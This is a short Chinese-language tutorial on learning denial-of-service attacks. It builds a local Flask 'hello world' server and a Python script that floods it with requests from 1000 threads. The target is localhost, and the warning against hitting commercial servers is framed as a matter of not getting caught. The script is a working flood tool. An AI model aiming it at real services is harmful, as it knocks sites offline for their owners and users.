前言
这个是DOS攻击学习(注意:千万别去攻击有商业价值的服务器或应用,不然会死的很惨(只有一个IP通过公网访问容易被抓),前提是网站没有攻击防御)
创建一个以python编写的后端web服务(好观察)
安装
flask
shell
pip install flask
py
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
return 'hello world'
if __name__ == '__main__':
app.run(debug=True)
python编写DOS攻击服务
shell
pip install requests
py
import requests
from requests.exceptions import RequestException
import threading
def requestGetOne():
try:
response = requests.get('http://127.0.0.1:5000', timeout=5)
response.raise_for_status() # 检查响应状态码
print(response.text)
except RequestException as e:
print(f'请求出错: {e}')
def print_numbers():
for i in range(1000):
requestGetOne()
if __name__ == "__main__":
threads = []
for i in range(1000): # 创建1000个线程
thread = threading.Thread(target=print_numbers)
threads.append(thread)
thread.start()
# 等待所有线程结束
for thread in threads:
thread.join()
print("All threads have finished.")
访问稍微会变慢(因为是本机的访问基本没构成TCP连接访问服务+电脑会变卡,CPU占有率是100%)